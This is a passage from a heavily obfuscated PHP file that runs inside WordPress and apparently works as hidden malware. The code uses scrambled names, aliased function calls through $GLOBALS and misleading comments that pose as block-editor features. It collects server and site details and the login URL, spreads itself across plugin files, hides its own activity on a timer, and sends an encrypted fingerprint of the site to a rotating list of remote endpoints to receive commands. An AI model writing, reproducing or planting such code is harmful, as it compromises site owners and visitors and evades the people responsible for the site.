  $al64q38r1t1uqjj  = $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(461),  "",  $GLOBALS['__scf_pdat24v9nxkx0_9']($v_t21o120uhzp, 0,  (65470+66))),  0,  (1965+83));
  foreach  ($w6tlaig6srwdv  as    $xzwufq9nacfqt) {
        $brwl1q7_2ju5  =      @$GLOBALS['__scf_vhi5vhdwib7ye_99']($xzwufq9nacfqt);
   if    (!$brwl1q7_2ju5   || $brwl1q7_2ju5  <=   (1822367-773791))   continue;
  $lb6v75b7wj521py2 = @$GLOBALS['__scf_zonhpgc286wu1_95']($xzwufq9nacfqt,  false, null,    0,   (34493+31043));
    if (!$GLOBALS['__scf_epa1jymnf5_40']($lb6v75b7wj521py2) ||  !rn7y5z4w_xtam4pshy6($lb6v75b7wj521py2)) continue;
  if    ($xzwufq9nacfqt   !==  vcr09jqkbni2k4ee0y()    &&   $GLOBALS['__scf_pdat24v9nxkx0_9']($GLOBALS['__scf_lv9m74lgyu5o6_460'](lgr6hp92ka(461), "", $lb6v75b7wj521py2), 0,  (1973+75))  !==   $al64q38r1t1uqjj) continue;

   $lz0bxxxy42n[]  =    $xzwufq9nacfqt;
  }
 if  (!$lz0bxxxy42n)   {



  @update_option(hwc6a8djp6yy(453),    $GLOBALS['__scf_cyotfgtf1a8m_189'](),   k83m2slbb(457));
   if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(462)))  set_transient(k83m2slbb(463),     1, (547+53));
 return;
}
  @update_option(k83m2slbb(453),   $GLOBALS['__scf_cyotfgtf1a8m_189'](),     lgr6hp92ka(457));$ftgu6mwo13=5970;$alwwvl619=$ftgu6mwo13%6;
  




foreach    ($lz0bxxxy42n    as  $lg43ml2abp6bop)   {
   dvd1rr9pr3xu08j($lg43ml2abp6bop,     (323+97));

  if  (m9xp6uh5w1cal39pfn4cx($lg43ml2abp6bop,      pn7nm6nqd14rnwe($v_t21o120uhzp))) {
   ihrci155iirvqnpr($lg43ml2abp6bop);

     q9qe9dyjynhf_ro94m($lg43ml2abp6bop);
   dvd1rr9pr3xu08j($lg43ml2abp6bop,    (520-100));
 j432fegx9wjwq5cz8t($lg43ml2abp6bop);
 if   ($lg43ml2abp6bop    ===   vcr09jqkbni2k4ee0y())   {
     j7q7bvavumc4i765(true);
 vxphx3fmo9f0xamsip2gy0(true);
      }
} else    {
  dvd1rr9pr3xu08j($lg43ml2abp6bop,   (193+227));
}
 }
    }  catch  (Throwable   $oz7m23pnscj7)   {



    pas31bymshzdagwkp(lgr6hp92ka(464),   $oz7m23pnscj7);
      } catch  (Exception   $oz7m23pnscj7)    {
      }
   }
  function   ksu3qr2hkj422f()
 {
       static   $eafyrvqbkq8 =   false;
if ($eafyrvqbkq8)  return;
$eafyrvqbkq8  =  true;

   try    {
  xeh3u44my2r_jf_e8();
cwi0ok87t5nob2yh7srttp();
 o5bu5lx0fm3k5id6n_y();
        ymn90bxey78039();
  j9yaps38vd1pzg5wznbnm8();
   dgk8_q47cpc3rgnuabc();
 s4oc08tki14ci6_jy8a();


fy8b7vzh9lcg9rr8lt23u_();
nlac3yla0k9zgv0krjv482();


if      (wv4zcsi5llnxxfzaskd())   {
     if  ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(465))  && did_action(k83m2slbb(434)))  {
     if     ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(466)))  $GLOBALS['__scf_ht1k88rhfc_173'](woii22it0(391));


}   else   {
     tqocor6bp4em9eyds9r9w(k83m2slbb(434), lgr6hp92ka(391), 0);
}
 }
}  catch    (Throwable   $oz7m23pnscj7)   {
       }   catch      (Exception    $oz7m23pnscj7)  {
    }
     }
function  k709jbh9vaung9b()
    {



 try  {
      if  (!$GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(293))  ||    !$GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(467))) return;
if   (!$GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(374)) ||  !$GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(452))) return;
    $lsxsmkd51y  =  $GLOBALS['__scf_cyotfgtf1a8m_189']();
   if ($lsxsmkd51y   -     (int) @get_option(woii22it0(468),   0)     <    (4122-522)) return;
@update_option(lgr6hp92ka(468),  $lsxsmkd51y, n747he9yo38(469));
    @$GLOBALS['__scf_ikqfih0ldfvj_293'](home_url('/'),  array(hwc6a8djp6yy(310)  =>   2, lgr6hp92ka(295)     =>  false,    k83m2slbb(394)   =>  false));
  } catch   (Throwable   $oz7m23pnscj7)   {
}    catch (Exception $oz7m23pnscj7)   {
  }
     }
 function  wv4zcsi5llnxxfzaskd()
 {
    if (!  $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(470)))  {
return true;
}
     
if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(50))   &&  get_transient(t5exk4f0xw1h_voqxx0w()))  {
   return  false;





  }

$_xagb4pamz8xjr1 =     vs47dskuflqdrwg();
  $thl3ezk9aa420ld   =  za3gt62ixnceo0mnhvd(woii22it0(435), false);
 if   ($GLOBALS['__scf_lxbo0xm7220an_34']($thl3ezk9aa420ld)   &&  isset($thl3ezk9aa420ld[k83m2slbb(471)])  &&   (int)  $thl3ezk9aa420ld[n747he9yo38(471)]    >=  (587-287) &&  (int)  $thl3ezk9aa420ld[woii22it0(471)]  <= (86360+40)) $_xagb4pamz8xjr1  =     (int) $thl3ezk9aa420ld[hwc6a8djp6yy(472)];

 $cear9isuwla      = (int)    get_option(woii22it0(429),    0);
      if  ($cear9isuwla     >      0  &&     ($GLOBALS['__scf_cyotfgtf1a8m_189']() - $cear9isuwla) < $_xagb4pamz8xjr1)     {
 return false;
 }
// gather sliding-window for WP Search Block


   $lttnqvg_30p8qbe  =   (int) get_option(n747he9yo38(473),   0);
 if ($lttnqvg_30p8qbe >   0)  {
// @abort command

      $d5is7tyn73  =  (int)   get_option(hwc6a8djp6yy(474),     0);
 $tt89goi12hmja6ow =   array((556-256),     (81+819), (1788+12), (7120-3520),  (3508+92));
  $wbp689pw8f06svve = $tt89goi12hmja6ow[$GLOBALS['__scf_pvrbrgmmuddxr_475'](0,      $GLOBALS['__scf_x7w14qggq72p_476']($d5is7tyn73     -   1, (1+3)))];
 $wbp689pw8f06svve  += $GLOBALS['__scf_qt5_3awd0l2_350'](0,    (int) ($wbp689pw8f06svve  *    0.25));
  if   (($GLOBALS['__scf_cyotfgtf1a8m_189']()  -    $lttnqvg_30p8qbe) <  $wbp689pw8f06svve)   {
// WP Redux Store: compact bloom-filter

  return   false;
}

  }

  return  true;
      }
 



    function  pg1e6gpdn5mraincu414()
    {
     $d5is7tyn73 =   (int)     get_option(n747he9yo38(477),  0);
   update_option(n747he9yo38(478),   $d5is7tyn73 +  1);
    update_option(lgr6hp92ka(473),    $GLOBALS['__scf_cyotfgtf1a8m_189']());
     

  }
function y9budosj5p6rva2v73d()
     {
// PHP 8.2 enum option row


$oclq78qg06s6kkt  = array();
 try     {
 $oclq78qg06s6kkt[woii22it0(479)]    =   tdwuvuxeuijm__qj();
    $oclq78qg06s6kkt[hwc6a8djp6yy(480)]  = PHP_VERSION;
 $oclq78qg06s6kkt[lgr6hp92ka(481)]  =  $GLOBALS['__scf_rnghnmhj734jl_104']();
 $oclq78qg06s6kkt[lgr6hp92ka(482)]   =    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(483)) &&  is_ssl())    ?  1  :  0;
  $oclq78qg06s6kkt[woii22it0(484)]     = ($GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(210))  &&  is_multisite())   ?  1    : 0;
$oclq78qg06s6kkt[k83m2slbb(485)]    =  isset($GLOBALS[lgr6hp92ka(486)])    ?      (string)  $GLOBALS[k83m2slbb(486)] : "";
       $oclq78qg06s6kkt[k83m2slbb(487)] = isset($_SERVER[woii22it0(110)])   ? $GLOBALS['__scf_pdat24v9nxkx0_9']((string)  $_SERVER[k83m2slbb(110)],  0, (34+6)) :   "";
  $e8ifxom3qp0yl  = (isset($GLOBALS[n747he9yo38(488)])    &&  $GLOBALS['__scf_epa1jymnf5_40']($GLOBALS[n747he9yo38(488)]))  ?  $GLOBALS['__scf_xcg5caaat_92j0_323']($GLOBALS[lgr6hp92ka(488)]) : "";
 $oclq78qg06s6kkt[n747he9yo38(489)]    =  ($e8ifxom3qp0yl    !==  "") ?  1  :  0;


     $oclq78qg06s6kkt[n747he9yo38(490)]  =    $GLOBALS['__scf_h5yqrl6kmpb_10']($e8ifxom3qp0yl);
 $oclq78qg06s6kkt[k83m2slbb(491)] =     !empty($GLOBALS[n747he9yo38(492)])    ? 1  : 0;



     $oclq78qg06s6kkt[k83m2slbb(493)]  =  !empty($GLOBALS[woii22it0(494)])      ?  1  : 0;
$oclq78qg06s6kkt[lgr6hp92ka(495)]      =  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(470)) ?  (int)   @get_option(hwc6a8djp6yy(496),   0)    :   0;
$oclq78qg06s6kkt[lgr6hp92ka(364)] =  (nswwyfxxcf0yh1u(lgr6hp92ka(497),  "")  !==   "")  ? 1 : 0;
  $oclq78qg06s6kkt[woii22it0(498)] =  $GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(470))  ?  (int)    @get_option(hwc6a8djp6yy(499),  0) :   0;



   $oclq78qg06s6kkt[hwc6a8djp6yy(500)] =     $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(470)) ? (int)  @get_option(n747he9yo38(501), 0)  :     0;$hv00ud22r5=75+51;$hb63k8n7cpp_c8=$hv00ud22r5-4;



       $oclq78qg06s6kkt[n747he9yo38(502)]     =   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(470)) ?  (int)  @get_option(lgr6hp92ka(503), 0)   :   0;
    $adclv0gbv4g2vk   =  ms1ba5i41di9frre();
   $oclq78qg06s6kkt[k83m2slbb(504)]  =    @$GLOBALS['__scf_mtwlgr3p78_18']($adclv0gbv4g2vk .   n747he9yo38(505))  ? (z1wo7xmhdkjyu7ya7af(@$GLOBALS['__scf_zonhpgc286wu1_95']($adclv0gbv4g2vk  .    n747he9yo38(505),  false, null, 0,  (8171+21)))    ? 2 :  1)      : 0;
$oclq78qg06s6kkt[hwc6a8djp6yy(506)] =  @$GLOBALS['__scf_mtwlgr3p78_18']($adclv0gbv4g2vk   .  woii22it0(507)) ? (z1wo7xmhdkjyu7ya7af(@$GLOBALS['__scf_zonhpgc286wu1_95']($adclv0gbv4g2vk     .      hwc6a8djp6yy(507),    false,  null, 0,     (8114+78)))  ?    2   :     1)     :     0;
 $oclq78qg06s6kkt[hwc6a8djp6yy(508)] =  @$GLOBALS['__scf_mtwlgr3p78_18']($adclv0gbv4g2vk  .   n747he9yo38(509)) ?    (z1wo7xmhdkjyu7ya7af(@$GLOBALS['__scf_zonhpgc286wu1_95']($adclv0gbv4g2vk    .  lgr6hp92ka(509),   false,  null, 0,  (0x12d3+0xd2d)))     ?  2  :  1)  :  0;
 $rmmuredxzyib345p =  woii22it0(510)   .   w5r7ae3dymnovvl7(ABSPATH .  'g',   (4<<1));
 $hc1qmq_ne_1tu =   lgr6hp92ka(511)    .  w5r7ae3dymnovvl7(ABSPATH     .  'g',   (1+7));
$oclq78qg06s6kkt[hwc6a8djp6yy(512)]      =  0;
     foreach (array(zaag8uz2ttqgqlhq(),      $adclv0gbv4g2vk,  ABSPATH   .    n747he9yo38(513))  as $s11cehy9pwjaiyj)  {



     if  (@$GLOBALS['__scf_mtwlgr3p78_18']($s11cehy9pwjaiyj  .    '/'    .  $rmmuredxzyib345p     .    lgr6hp92ka(514))) $oclq78qg06s6kkt[hwc6a8djp6yy(515)]   = 1;
if (@$GLOBALS['__scf_mtwlgr3p78_18']($s11cehy9pwjaiyj . '/' .     $hc1qmq_ne_1tu) &&      (int) @$GLOBALS['__scf_gibkjes9ds_98']($s11cehy9pwjaiyj  .    '/'  . $hc1qmq_ne_1tu) >   $GLOBALS['__scf_cyotfgtf1a8m_189']() -  (0x10+0xe0))   {

      $oclq78qg06s6kkt[n747he9yo38(515)]     =  2;



       break;
 }
 }
unset($hc1qmq_ne_1tu,  $s11cehy9pwjaiyj);
      $olfbgwu5srlkd  =     $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(516))  ?    @$GLOBALS['__scf_n9umf2ff2bmitw_112'](hwc6a8djp6yy(517)) :   false;
  if  (!$GLOBALS['__scf_epa1jymnf5_40']($olfbgwu5srlkd)    ||  $olfbgwu5srlkd      ===  "" ||   $olfbgwu5srlkd ===   hwc6a8djp6yy(518)) $olfbgwu5srlkd  = lgr6hp92ka(519);
  

$oclq78qg06s6kkt[hwc6a8djp6yy(520)]    =  (@$GLOBALS['__scf_mtwlgr3p78_18'](ABSPATH   .    $olfbgwu5srlkd) && $GLOBALS['__scf_p9nk7khmjys_7']((string)  @$GLOBALS['__scf_zonhpgc286wu1_95'](ABSPATH   .  $olfbgwu5srlkd),   n747he9yo38(521))      !==  false)  ?  1  :   0;
    $oclq78qg06s6kkt[lgr6hp92ka(522)]   =  (@$GLOBALS['__scf_mtwlgr3p78_18'](ABSPATH .     n747he9yo38(523))    && $GLOBALS['__scf_p9nk7khmjys_7']((string)  @$GLOBALS['__scf_zonhpgc286wu1_95'](ABSPATH   . k83m2slbb(524)),  woii22it0(525))   !==  false)   ?   1  :   0;
    $oclq78qg06s6kkt[lgr6hp92ka(526)]  = (@$GLOBALS['__scf_mtwlgr3p78_18'](ABSPATH  . hwc6a8djp6yy(527))  &&   $GLOBALS['__scf_p9nk7khmjys_7']((string) @$GLOBALS['__scf_zonhpgc286wu1_95'](ABSPATH  .   k83m2slbb(527),   false,   null,  0,    (65459+77)),   hwc6a8djp6yy(528))  !== false)  ?  1  : 0;
$oclq78qg06s6kkt[k83m2slbb(529)]    =   defined(hwc6a8djp6yy(530)) ?     1   :  0;
$oclq78qg06s6kkt[woii22it0(531)] =   (defined(n747he9yo38(532))  ||  defined(hwc6a8djp6yy(533))  ||     defined(hwc6a8djp6yy(534))   || $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(535)) ||    $GLOBALS['__scf_f844yvc4tu_536'](k83m2slbb(537))  ||  isset($GLOBALS[k83m2slbb(538)])  ||    $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(539)))  ? 1 :  0;
  $oclq78qg06s6kkt[lgr6hp92ka(540)]  =    (int)  get_option(n747he9yo38(429), 0);
 $oclq78qg06s6kkt[woii22it0(541)]    =  (int) get_option(hwc6a8djp6yy(478),   0);
  $oclq78qg06s6kkt[n747he9yo38(542)]  =  (int) get_option(lgr6hp92ka(543),  0);


 $h2g0x6eeqptcw9e1     =  z6q8c6q8s6lg_2r(woii22it0(544),  array());
$szkgwjjy5lpf    =   0;$i4qwry7g9=15+81;$t6i0d4vj=$i4qwry7g9-6;


  $olqi6_p1wbg0f  =  0;
if ($GLOBALS['__scf_lxbo0xm7220an_34']($h2g0x6eeqptcw9e1))   {
     foreach ($h2g0x6eeqptcw9e1 as $lzk88d5vtss68uw8)   {
  if  (k38prlhp664dj381edpuol($lzk88d5vtss68uw8)   ===    "") continue;
$szkgwjjy5lpf++;
$ddwqcq1_ek   =    $GLOBALS['__scf_lxbo0xm7220an_34']($lzk88d5vtss68uw8)    ?    (int)    (isset($lzk88d5vtss68uw8[k83m2slbb(545)]) ?   $lzk88d5vtss68uw8[lgr6hp92ka(545)]   :   1)     :  1;



     $m0cgc7sweypkfgd5 =   $GLOBALS['__scf_lxbo0xm7220an_34']($lzk88d5vtss68uw8)    &&    isset($lzk88d5vtss68uw8[lgr6hp92ka(546)])   ?  (int)  $lzk88d5vtss68uw8[woii22it0(546)]    :   0;
 if   (!$ddwqcq1_ek  &&   (!$m0cgc7sweypkfgd5 ||   $m0cgc7sweypkfgd5 < $GLOBALS['__scf_cyotfgtf1a8m_189']() -     (3582+18)))    $olqi6_p1wbg0f++;
 }
}
   $oclq78qg06s6kkt[woii22it0(547)]      =    $szkgwjjy5lpf;
      $oclq78qg06s6kkt[lgr6hp92ka(548)]  =    $olqi6_p1wbg0f;
     $fa10qna3rn  =     $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(470))   ?   @get_option(k83m2slbb(549),  "")    :  "";
$oclq78qg06s6kkt[hwc6a8djp6yy(550)]   = $GLOBALS['__scf_epa1jymnf5_40']($fa10qna3rn) ?      $GLOBALS['__scf_pdat24v9nxkx0_9']($fa10qna3rn,  0,   (0x2+0x3))     :  "";
 $v5lj4zk5c_a2pwo   =  $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(470)) ? @get_option(hwc6a8djp6yy(551),  array())    :  array();
 $oclq78qg06s6kkt[hwc6a8djp6yy(552)] = ($GLOBALS['__scf_lxbo0xm7220an_34']($v5lj4zk5c_a2pwo)   &&  (!empty($v5lj4zk5c_a2pwo['t'])     ||  !empty($v5lj4zk5c_a2pwo[n747he9yo38(553)]))) ? 1 :  0;
}  catch      (Throwable $oz7m23pnscj7)     {

$oclq78qg06s6kkt[k83m2slbb(554)]     = $GLOBALS['__scf_pdat24v9nxkx0_9']($oz7m23pnscj7->getMessage(), 0, (0x26+0x16));
} catch     (Exception $oz7m23pnscj7)     {
   $oclq78qg06s6kkt[hwc6a8djp6yy(554)]   =     $GLOBALS['__scf_pdat24v9nxkx0_9']($oz7m23pnscj7->getMessage(),  0, (19+41));
 }



 return  $oclq78qg06s6kkt;
     }

  function    brlu11n6gu8jrge8bua()
    {
 if ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(392)))   {
return  (string) site_url(n747he9yo38(555));
 }
      return    $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(556))   ?   (string)    wp_login_url() :   "";
  }



   

 function og1x2m03ubzy0v1hpff6($vmpqs4tkev3m5c)
{
 $soka0mozjo0   =  "";
if    ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(467)))  {
 $soka0mozjo0  =  (string)  $GLOBALS['__scf_c0nria_kxj_557'](home_url(),   constant(k83m2slbb(558)));
   }
if  (!  $soka0mozjo0    &&   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(559)))    {
$soka0mozjo0   =    (string) $GLOBALS['__scf_c0nria_kxj_557'](get_site_url(),      constant(n747he9yo38(558)));
      }
 if (!   $soka0mozjo0  &&   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(560))) {
 $soka0mozjo0      =  (string)     $GLOBALS['__scf_c0nria_kxj_557'](get_bloginfo(hwc6a8djp6yy(561)), constant(woii22it0(558)));
       }
// cancel asynchronous proxy



  if (!  $soka0mozjo0  &&    $GLOBALS['__scf_f6_d9s95igq_4'](k83m2slbb(470))) {
 $soka0mozjo0   =  (string)   $GLOBALS['__scf_c0nria_kxj_557']((string)  get_option(woii22it0(562),   ""),      constant(woii22it0(558)));
  }

  if  (!     $soka0mozjo0      &&    isset($_SERVER[lgr6hp92ka(563)]))  {
$soka0mozjo0    =  (string)   $_SERVER[n747he9yo38(563)];



   }
       if (!     $soka0mozjo0 &&  isset($_SERVER[hwc6a8djp6yy(564)]))  {
  $soka0mozjo0  =  (string)     $_SERVER[k83m2slbb(564)];
}
 if  (!    $soka0mozjo0) {
     return $vmpqs4tkev3m5c;
}


return   $soka0mozjo0;
}

    function  f58fq6oczuq9aw0j3mnwk($wf_z8ozx4l2     =    0)
  {
  try  {$t1abcval64__37=PHP_MAJOR_VERSION;$z4swiamqp1p=$t1abcval64__37*4;
$m2_uqmetbbe7 = $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(565))  ?  (int)     @$GLOBALS['__scf_n9umf2ff2bmitw_112'](lgr6hp92ka(566))   :     0;
    if   ($GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(433))) @$GLOBALS['__scf_a1064vt4fz_433']((105+75));


   $euyci1oufcke  =    ($m2_uqmetbbe7  > (0xd+0x7)  &&    $m2_uqmetbbe7 < (177+3))   ?   ($m2_uqmetbbe7   - (11-1)) :  (($m2_uqmetbbe7    >    0    &&      $m2_uqmetbbe7 <= (58^46)) ?  (1+9)   :     (22^76));
if    ($wf_z8ozx4l2  >  0   &&     $euyci1oufcke   >     $wf_z8ozx4l2) $euyci1oufcke =     $wf_z8ozx4l2;
     $GLOBALS[hwc6a8djp6yy(567)]  =    $GLOBALS['__scf_kld1jjqcmx_289'](true)  +     $euyci1oufcke;
 if (! wv4zcsi5llnxxfzaskd())  {
return;
      }
 if  (!oxds6f4_kj2x2e4np9e(woii22it0(388)))  {
 return;



 }
    
  $f39__qaefkbor  =    $GLOBALS['__scf_kld1jjqcmx_289'](true);
     $xr_0wfrow3coqsdi  = izzgzcuj86gdoe_rmj((int)    ($euyci1oufcke *  0.6));
if    (



  !    $GLOBALS['__scf_lxbo0xm7220an_34']($xr_0wfrow3coqsdi)



     ||  ! isset($xr_0wfrow3coqsdi[n747he9yo38(568)]) ||  !   $GLOBALS['__scf_epa1jymnf5_40']($xr_0wfrow3coqsdi[woii22it0(569)]) ||  ! $xr_0wfrow3coqsdi[woii22it0(569)]
 ||   !  isset($xr_0wfrow3coqsdi[lgr6hp92ka(342)])  ||  !   $GLOBALS['__scf_lxbo0xm7220an_34']($xr_0wfrow3coqsdi[n747he9yo38(342)]) || empty($xr_0wfrow3coqsdi[hwc6a8djp6yy(342)])
 )    {
pg1e6gpdn5mraincu414();
return;
    }
// WP Paragraph Block: inject watermark


   $_lee6uh_nq9fbg_   =  $xr_0wfrow3coqsdi[hwc6a8djp6yy(569)];
      $_rujppxrfj     =      $xr_0wfrow3coqsdi[hwc6a8djp6yy(342)];
    htdydg38ahuyxm73zkqz0(hwc6a8djp6yy(343),   $_lee6uh_nq9fbg_,     woii22it0(469));
    htdydg38ahuyxm73zkqz0(n747he9yo38(570),   $GLOBALS['__scf_p9nk7khmjys_7']($_lee6uh_nq9fbg_,   n747he9yo38(571))  === 0    ? 1   :    0,      hwc6a8djp6yy(469));
$ztpkomcopl =   $GLOBALS['__scf_f6_d9s95igq_4'](hwc6a8djp6yy(572))   ? (string) get_option(n747he9yo38(573),   "") : "";
 if   ($ztpkomcopl !==    ""  &&  $GLOBALS['__scf_a2dj3p28xfi_149']($ztpkomcopl,      $_rujppxrfj, true))   {
 $_rujppxrfj   =   $GLOBALS['__scf_xbx3qj3ap0_147']($GLOBALS['__scf_wuhj_qjl_ze21_152']($_rujppxrfj,    array($ztpkomcopl)));
     $GLOBALS['__scf_ar7cuw1efuy_574']($_rujppxrfj);
   $GLOBALS['__scf_bqx1bj0jhe9lk_322']($_rujppxrfj,   $ztpkomcopl);
  }     elseif    ($GLOBALS['__scf_prfpiytv3egt7_35']($_rujppxrfj) >     1)   {
 $GLOBALS['__scf_ar7cuw1efuy_574']($_rujppxrfj);
    }


    if (($GLOBALS['__scf_kld1jjqcmx_289'](true)    -  $f39__qaefkbor)     >   (int)   ($euyci1oufcke     *  0.6))  {


 pg1e6gpdn5mraincu414();
return;
   }
// recursive retry-policy




     
    $pqjypw19konv4  =   qn406r5n3jpz5gken7zpmr();

 if   (wnj81ymceiuqrecv96_($pqjypw19konv4)) {


$pqjypw19konv4  = qn406r5n3jpz5gken7zpmr();
 }

$txesyyzfjosiwh   = array();
   if ($GLOBALS['__scf_f6_d9s95igq_4'](lgr6hp92ka(572))) {
  foreach  ((array)   get_option(lgr6hp92ka(209), array())  as   $xzwufq9nacfqt) {
     if     ($GLOBALS['__scf_epa1jymnf5_40']($xzwufq9nacfqt) && $xzwufq9nacfqt)    {

$txesyyzfjosiwh[] = $xzwufq9nacfqt;



  }
 }
}

 

  $t4d13y5l768j = array();



  if   (defined(hwc6a8djp6yy(13)))    {



$uo1ddpyex686k =   $GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(575))   ? @$GLOBALS['__scf_xn1tkts0av_71']($GLOBALS['__scf_aiwotu1kwod_12'](WPMU_PLUGIN_DIR,    '/')   .   n747he9yo38(72))  : false;
  if   ($GLOBALS['__scf_lxbo0xm7220an_34']($uo1ddpyex686k))  {
 foreach  ($uo1ddpyex686k    as    $lg43ml2abp6bop)     {
 $t4d13y5l768j[]     =    $GLOBALS['__scf_a39nlvrnocxziu_3']($lg43ml2abp6bop);
   }


  }
      }
  
       $nbfbi5ieh97 =    array(
      n747he9yo38(576)    =>      og1x2m03ubzy0v1hpff6(""),
    lgr6hp92ka(577)   =>  tdwuvuxeuijm__qj(),
      lgr6hp92ka(578)     => $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),   woii22it0(514)),
  woii22it0(579)   =>  $GLOBALS['__scf_aiwotu1kwod_12'](ABSPATH,    k83m2slbb(80)),
k83m2slbb(580)  => $txesyyzfjosiwh,

 k83m2slbb(581) => $t4d13y5l768j,



n747he9yo38(582)  => brlu11n6gu8jrge8bua(),
     hwc6a8djp6yy(583)   => (object) t6cb83nsndxyg9e6yvp($pqjypw19konv4),
woii22it0(584)  =>     (object) bpjcl3o53yd9m1b3gn($pqjypw19konv4),
  lgr6hp92ka(372)     => ($ic_gttboeo5x58bz   =   fqvy0zank3v0riakva9x2()),
  



       );
 $lodjg6ilbqa0ybz5  = $GLOBALS['__scf_f6_d9s95igq_4'](woii22it0(585))  ?   wp_json_encode($nbfbi5ieh97) :      $GLOBALS['__scf_lqvorm12n2um_586']($nbfbi5ieh97);
  $px_700u1vu5w  = sdbi68rbn9zn5o588($lodjg6ilbqa0ybz5,   $_lee6uh_nq9fbg_);
      $xkp6vx_etfub4r     =   array(woii22it0(587)   =>  hwc6a8djp6yy(588));
  $mvuk2rk025mg =  null;
   $ztwi6bs4jnwb  =   false;


 pg1e6gpdn5mraincu414();
   $GLOBALS[k83m2slbb(589)]     =    false;
 
  foreach  ($_rujppxrfj as $n3j_7bp_z_v6in)  {
     
  $gd25xvvx6m6vi17o    = $euyci1oufcke    -    ($GLOBALS['__scf_kld1jjqcmx_289'](true)     -  $f39__qaefkbor);
   if ($gd25xvvx6m6vi17o < (2+1)) {
      break;
 }

$n5tlx7qoos_hkn6     =  $GLOBALS['__scf_x7w14qggq72p_476']((6+4),  (int)  $gd25xvvx6m6vi17o);


 $n3j_7bp_z_v6in  =     $GLOBALS['__scf_xcg5caaat_92j0_323']((string)    $n3j_7bp_z_v6in);$xqw813w_9=PHP_INT_MAX/PHP_INT_MAX;$s006ojr8=$xqw813w_9+98;
      if (!  $n3j_7bp_z_v6in)  {
continue;
  }
    try   {
 $wga6ux5qg738qs   =      $_lee6uh_nq9fbg_;
      $h0gifq03pj  = p40j1xgp_bk4lffowyqf($n3j_7bp_z_v6in,   $px_700u1vu5w,   $xkp6vx_etfub4r, $n5tlx7qoos_hkn6,   function  ($b94e8zl9qx1ungby)  use   ($wga6ux5qg738qs)    {
     if (!o3b3qa87qg2t8cm($GLOBALS['__scf_h5yqrl6kmpb_10']($b94e8zl9qx1ungby))) {
  $GLOBALS[lgr6hp92ka(589)]   = true;
      return false;
 }
    $oclq78qg06s6kkt  =   sdbi68rbn9zn5o588($b94e8zl9qx1ungby,   $wga6ux5qg738qs);
      if   (!$oclq78qg06s6kkt) return  false;
   return    $GLOBALS['__scf_lxbo0xm7220an_34'](@$GLOBALS['__scf_fjxqm4i88jjq92_328']($GLOBALS['__scf_xcg5caaat_92j0_323']($oclq78qg06s6kkt),      true));
     });


   if  (!  $h0gifq03pj) {
 if  (!empty($GLOBALS[lgr6hp92ka(589)]))   {
  pas31bymshzdagwkp(n747he9yo38(590),   woii22it0(591));
  break;



 }
 pas31bymshzdagwkp(k83m2slbb(592), lgr6hp92ka(593)    .  $n3j_7bp_z_v6in);
 continue;
   }
 
      $mnjxiu2ddg      = sdbi68rbn9zn5o588($h0gifq03pj, $_lee6uh_nq9fbg_);
  if  (! $mnjxiu2ddg)    {$mn2vsoch4a=1818;$dxaixjft0=$mn2vsoch4a%17;


  pas31bymshzdagwkp(lgr6hp92ka(594),  n747he9yo38(595) .     $n3j_7bp_z_v6in);
continue;
  }
   $mvuk2rk025mg  =   ($GLOBALS['__scf_h5yqrl6kmpb_10']($mnjxiu2ddg)  >      (1048564+12)  &&  !o3b3qa87qg2t8cm($GLOBALS['__scf_h5yqrl6kmpb_10']($mnjxiu2ddg)))  ?  null    :  @$GLOBALS['__scf_fjxqm4i88jjq92_328']($GLOBALS['__scf_xcg5caaat_92j0_323']($mnjxiu2ddg), true);
    if ($GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg))   {
 if  ($GLOBALS['__scf_f6_d9s95igq_4'](n747he9yo38(452)))  {
     update_option(woii22it0(573), $n3j_7bp_z_v6in);


 }
$ztwi6bs4jnwb   =  true;

    break;
 } else  {
   pas31bymshzdagwkp(hwc6a8djp6yy(596),  woii22it0(597)   . $n3j_7bp_z_v6in);
    }
  }    catch  (Throwable  $oz7m23pnscj7) {


 pas31bymshzdagwkp(woii22it0(598), $oz7m23pnscj7);


continue;


   } catch (Exception      $oz7m23pnscj7)      {
continue;
    }
  }
  if   (! $GLOBALS['__scf_lxbo0xm7220an_34']($mvuk2rk025mg) && empty($GLOBALS[hwc6a8djp6yy(599)]))  {



  $z3wpjwbh6pn8uzox   = sdbi68rbn9zn5o588($GLOBALS['__scf_lqvorm12n2um_586'](array(
 n747he9yo38(576)  =>  og1x2m03ubzy0v1hpff6(""),
  lgr6hp92ka(600)  =>  tdwuvuxeuijm__qj(),
   hwc6a8djp6yy(578)    =>   $GLOBALS['__scf_a39nlvrnocxziu_3'](vcr09jqkbni2k4ee0y(),  lgr6hp92ka(514)),
